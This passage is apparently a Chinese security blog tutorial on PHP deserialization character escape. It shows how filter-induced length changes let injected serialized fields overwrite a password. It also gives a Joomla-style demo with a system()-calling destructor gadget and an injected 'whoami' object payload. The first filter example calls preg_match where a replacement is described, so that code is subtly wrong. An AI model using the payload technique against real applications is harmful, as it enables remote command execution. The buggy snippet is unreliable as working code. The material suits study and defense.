首发先知社区,https://xz.aliyun.com/t/6718/
PHP 反序列化字符逃逸
-
下述所有测试均在 php 7.1.13 nts 下完成
-
先说几个特性,PHP 在反序列化时,对类中不存在的属性也会进行反序列化
-
PHP 在反序列化时,底层代码是以
;
作为字段的分隔,以}
作为结尾(字符串除外),并且是根据长度判断内容的 -
比如:在一个正常的反序列化的代码输入
a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}
,会得到如下结果
-
如果换成
a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";
仍然是上面的结果,但是如果修改它的长度,比如换成a:2:{i:0;s:6:"peri0d";i:1;s:4:"aaaaa";}
就会报错
-
这里给个例子,将
x
替换为yy
,如何去修改密码?
<?php
function filter($string){
return preg_match('/x/','yy',$string);
}
$username = "peri0d";
$password = "aaaaa";
$user = array($username, $password);
var_dump(serialize($user));
echo '
';
$r = filter(serialize($user));
var_dump($r);
echo '
';
var_dump(unserialize($r));
-
正常情况下的序列化结果为
a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}
-
那如果把
username
换成peri0dxxx
,其处理后的序列化结果为a:2:{i:0;s:9:"peri0dyyyyyy";i:1;s:5:"aaaaa";}
,这个时候肯定会反序列化失败的 -
可以看到
s:9:"peri0dyyyyyy"
比以前多了 3 个字符 -
回到前面,
a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}
想一下,它在进行修改密码之后就变为a:2:{i:0;s:6:"peri0d";i:1;s:6:"123456";}i:1;s:5:"aaaaa";}
-
可以看到需要添加的字符串
";i:1;s:6:"123456";}
长度为20
-
假设要在
peri0d
后面填充4
个字符,那么就是s:30:'peri0dxxxx";i:1;s:6:"123456";}';
在经过处理之后就是s:30:'peri0dyyyyyyyy";i:1;s:6:"123456";}';
读取30
个字符为peri0dyyyyyyyy";i:1;s:6:"12345
-
这就需要继续增加填充字符,在有
20
个x
时,就实现了密码的修改 -
可以看到,这和
username
前面的peri0d
是毫无关系的,只和做替换的字符串有关
看一看 Joomla 的逃逸
- 看到有人写了简易版的 Joomla 处理反序列化的机制,修改之后代码如下:
<?php
class evil{
public $cmd;
public function __construct($cmd){
$this->cmd = $cmd;
}
public function __destruct(){
system($this->cmd);
}
}
class User
{
public $username;
public $password;
public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
}
}
function write($data){
$data = str_replace(chr(0).'*'.chr(0), ' ', $data);
file_put_contents("dbs.txt", $data);
}
function read(){
$data = file_get_contents("dbs.txt");
$r = str_replace(' ', chr(0).'*'.chr(0), $data);
return $r;
}
if(file_exists("dbs.txt")){
unlink("dbs.txt");
}
$username = "peri0d";
$password = "1234";
$payload = 's:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}';
write(serialize(new User($username, $password)));
var_dump(unserialize(read()));
- 详细的代码逻辑不再阐述,它这里就是先将
chr(0).'*'.chr(0)
这3
个字符替换为